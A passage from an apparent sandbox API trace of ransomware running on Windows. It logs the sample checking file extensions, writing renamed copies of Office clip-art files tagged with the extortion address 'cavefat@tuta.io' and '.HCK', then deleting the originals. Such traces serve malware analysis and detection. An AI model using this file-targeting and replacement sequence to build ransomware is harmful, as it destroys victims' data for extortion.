(lpString1=".docx", lpString2="_.WMF") returned -1 [0178.918] lstrlenW (lpString=".pdf") returned 4 [0178.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.918] lstrlenW (lpString=".xls") returned 4 [0178.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.918] lstrlenW (lpString=".xlsx") returned 5 [0178.918] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.918] lstrlenW (lpString=".ppt") returned 4 [0178.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.918] lstrlenW (lpString=".zip") returned 4 [0178.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.918] lstrlenW (lpString=".rar") returned 4 [0178.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.918] lstrlenW (lpString=".bz2") returned 4 [0178.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString=".7z") returned 3 [0178.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.919] lstrlenW (lpString=".dbf") returned 4 [0178.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.919] lstrlenW (lpString=".1cd") returned 4 [0178.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.919] lstrlenW (lpString=".jpg") returned 4 [0178.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.919] lstrlenW (lpString=".doc") returned 4 [0178.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString=".docx") returned 5 [0178.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.919] lstrlenW (lpString=".pdf") returned 4 [0178.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString=".xls") returned 4 [0178.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.919] lstrlenW (lpString=".xlsx") returned 5 [0178.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.919] lstrlenW (lpString=".ppt") returned 4 [0178.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.919] lstrlenW (lpString=".zip") returned 4 [0178.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.919] lstrlenW (lpString=".rar") returned 4 [0178.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString=".bz2") returned 4 [0178.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString=".7z") returned 3 [0178.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.919] lstrlenW (lpString=".dbf") returned 4 [0178.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.919] lstrlenW (lpString=".1cd") returned 4 [0178.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.920] lstrlenW (lpString=".jpg") returned 4 [0178.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.920] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.920] lstrlenW (lpString="NA02417_.WMF") returned 12 [0178.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.922] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2852) returned 1 [0178.922] CloseHandle (hObject=0x2fc) returned 1 [0178.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf")) returned 0x220 [0178.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.929] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.929] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.934] GetLastError () returned 0x0 [0178.934] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb24, lpOverlapped=0x0) returned 1 [0178.935] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb30, lpOverlapped=0x0) returned 1 [0178.936] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.936] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.936] SetEndOfFile (hFile=0x300) returned 1 [0178.938] CloseHandle (hObject=0x300) returned 1 [0178.940] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.940] SetEndOfFile (hFile=0x3a4) returned 1 [0178.941] CloseHandle (hObject=0x3a4) returned 1 [0178.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf")) returned 1 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.943] lstrlenW (lpString=".doc") returned 4 [0178.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString=".docx") returned 5 [0178.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.943] lstrlenW (lpString=".pdf") returned 4 [0178.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString=".xls") returned 4 [0178.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.943] lstrlenW (lpString=".xlsx") returned 5 [0178.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.943] lstrlenW (lpString=".ppt") returned 4 [0178.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.943] lstrlenW (lpString=".zip") returned 4 [0178.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.943] lstrlenW (lpString=".rar") returned 4 [0178.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString=".bz2") returned 4 [0178.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString=".7z") returned 3 [0178.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.943] lstrlenW (lpString=".dbf") returned 4 [0178.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.943] lstrlenW (lpString=".1cd") returned 4 [0178.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.943] lstrlenW (lpString=".jpg") returned 4 [0178.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.943] lstrlenW (lpString=".doc") returned 4 [0178.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.943] lstrlenW (lpString=".docx") returned 5 [0178.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.944] lstrlenW (lpString=".pdf") returned 4 [0178.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.944] lstrlenW (lpString=".xls") returned 4 [0178.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.944] lstrlenW (lpString=".xlsx") returned 5 [0178.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.944] lstrlenW (lpString=".ppt") returned 4 [0178.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.944] lstrlenW (lpString=".zip") returned 4 [0178.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.944] lstrlenW (lpString=".rar") returned 4 [0178.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.944] lstrlenW (lpString=".bz2") returned 4 [0178.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.944] lstrlenW (lpString=".7z") returned 3 [0178.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.944] lstrlenW (lpString=".dbf") returned 4 [0178.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.944] lstrlenW (lpString=".1cd") returned 4 [0178.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF") returned 68 [0178.944] lstrlenW (lpString=".jpg") returned 4 [0178.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.944] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.944] lstrlenW (lpString="NA02431_.WMF") returned 12 [0178.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.947] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7212) returned 1 [0178.948] CloseHandle (hObject=0x2fc) returned 1 [0178.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf")) returned 0x220 [0178.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.952] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.952] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.954] GetLastError () returned 0x0 [0178.954] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1c2c, lpOverlapped=0x0) returned 1 [0178.956] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1c30, lpOverlapped=0x0) returned 1 [0178.957] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.957] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.957] SetEndOfFile (hFile=0x368) returned 1 [0178.959] CloseHandle (hObject=0x368) returned 1 [0178.960] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.960] SetEndOfFile (hFile=0x2fc) returned 1 [0178.963] CloseHandle (hObject=0x2fc) returned 1 [0178.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf")) returned 1 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString=".doc") returned 4 [0178.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString=".docx") returned 5 [0178.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.965] lstrlenW (lpString=".pdf") returned 4 [0178.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString=".xls") returned 4 [0178.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.965] lstrlenW (lpString=".xlsx") returned 5 [0178.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.965] lstrlenW (lpString=".ppt") returned 4 [0178.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString=".zip") returned 4 [0178.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.965] lstrlenW (lpString=".rar") returned 4 [0178.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString=".bz2") returned 4 [0178.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString=".7z") returned 3 [0178.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString=".dbf") returned 4 [0178.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString=".1cd") returned 4 [0178.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString=".jpg") returned 4 [0178.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString=".doc") returned 4 [0178.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString=".docx") returned 5 [0178.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.965] lstrlenW (lpString=".pdf") returned 4 [0178.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString=".xls") returned 4 [0178.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.965] lstrlenW (lpString=".xlsx") returned 5 [0178.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.965] lstrlenW (lpString=".ppt") returned 4 [0178.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.965] lstrlenW (lpString=".zip") returned 4 [0178.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.966] lstrlenW (lpString=".rar") returned 4 [0178.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.966] lstrlenW (lpString=".bz2") returned 4 [0178.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.966] lstrlenW (lpString=".7z") returned 3 [0178.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.966] lstrlenW (lpString=".dbf") returned 4 [0178.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.966] lstrlenW (lpString=".1cd") returned 4 [0178.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 68 [0178.966] lstrlenW (lpString=".jpg") returned 4 [0178.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.966] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.966] lstrlenW (lpString="NA02441_.WMF") returned 12 [0178.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.967] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12824) returned 1 [0178.967] CloseHandle (hObject=0x2fc) returned 1 [0178.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf")) returned 0x220 [0178.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.974] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.974] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.976] GetLastError () returned 0x0 [0178.976] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3218, lpOverlapped=0x0) returned 1 [0178.977] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3220, lpOverlapped=0x0) returned 1 [0178.978] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.978] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.978] SetEndOfFile (hFile=0x2fc) returned 1 [0178.981] CloseHandle (hObject=0x2fc) returned 1 [0178.983] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.983] SetEndOfFile (hFile=0x300) returned 1 [0178.988] CloseHandle (hObject=0x300) returned 1 [0178.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf")) returned 1 [0178.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.990] lstrlenW (lpString=".doc") returned 4 [0178.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.990] lstrlenW (lpString=".docx") returned 5 [0178.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.990] lstrlenW (lpString=".pdf") returned 4 [0178.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.990] lstrlenW (lpString=".xls") returned 4 [0178.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.990] lstrlenW (lpString=".xlsx") returned 5 [0178.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.990] lstrlenW (lpString=".ppt") returned 